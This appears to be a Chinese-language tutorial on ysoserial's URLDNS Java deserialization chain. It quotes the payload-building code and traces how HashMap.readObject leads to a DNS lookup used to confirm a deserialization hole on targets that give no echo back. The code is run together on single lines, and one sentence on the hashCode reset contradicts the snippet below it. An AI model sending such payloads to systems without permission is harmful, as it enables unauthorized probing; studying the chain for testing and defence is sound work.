|
引子
URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。
但是它有以下优点:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞
先说一下整个链的过程
HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()我们可以通过这条链很容易判断是否存在反序列化漏洞
JAVA序列化与反序列化
SER
public static void serialize() throws IOException {Student student = new Student();student.setName("CodeSheep");ObjectOutputStream objectOutputStream = new ObjectOutputStream( new FileOutputStream( new File("student.txt") ) );objectOutputStream.writeObject( student ); //将student序列化结果写入student.txtobjectOutputStream.close();System.out.println("序列化成功");
}UNSER
public static void deserialize() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream( new FileInputStream( new File("student.txt") ) );Student student = (Student) objectInputStream.readObject(); //从student.txt中读出student对象,这块需要强转一下。objectInputStream.close();System.out.println("反序列化结果为:");System.out.println( student );在序列化和反序列化时执行类自定义的readObject和writeObject,这就是我们利用的点
URLDNS
本链不作为攻击方法,只作为验证。
入口类HashMap:符合条件
1)入口类重写readObject方法
2)入口类可传入任意对象(这种类一般为集合类)
3)执行类可被利用执行危险或任意函数
public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, &#34;hashCode&#34;, -1); // During the put above, the URL&#39;s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;
}代码很短,简单看一下,我们跟进HashMap类里看看
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException(&#34;Illegal load factor: &#34; + loadFactor);s.readInt();// Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException(&#34;Illegal mappings count: &#34; + mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);可以看到重写了readobject方法,因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。
重点是其中的
putVal(hash(key), key, value, false, false);我们可以看到putVal调用了hash函数,跟进一下,发现这里使用传入参数对象key的hashCode方法。 至此我们可以知道key可能是可控的。那我们要怎样利用呢?
我们再来说一说hashCode方法,根据链子名称,我们看一下URL类的hashcode方法
public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;
}hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。
handler是URLStreamHandler的实例,跟进handler的hashCode方法,接收URL类的实例,调⽤getHostAddress⽅法
我们继续跟进一下
protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}到这我们可以看到跟进getHostAddress⽅法,getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求。
整个链子的执行效果也就是进行DNS请求。链子的逻辑也就是:
HashMap.readObject() -> HashMap.hash() -> java.net.URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName()注意点
经过上面的执行后大家会发现当我们执行这个链子时,DNSLOG会收到两次请求。这是因为我们还没有进行反序列化之前链子已经走完,就会请求一次DNS,这会对我们判断打没打通照成不小的影响。对于这里,我们可以通过反射机制来让hashCode不等于-1,修改方法:
反射爆破—>setAccessible
Field f = Class.forName(&#34;java.net.URL&#34;).getDeclaredField(&#34;hashCode&#34;);
f.setAccessible(true);
f.set(url, -1);而在ysoserial中为了让HashMap在第一次put元素时,不执行DNSLOG请求,因此,ysoserial重写了getHostAddress方法,将该方法置为空实现。
URLStreamHandler handler = new SilentURLStreamHandler();ht.put(new URL(null, url, handler), url); --> putVal(hash(key), key, value, false, true) --> hash(key) --> URL.hashCode() -->URLStreamHandler.hashCode(this) --> SilentURLStreamHandler.getHostAddress(u) --> 空实现。至于为什么要设置为-1,hashCode值默认为-1,HashMap.put操作,会重置成员变量的值。 |
|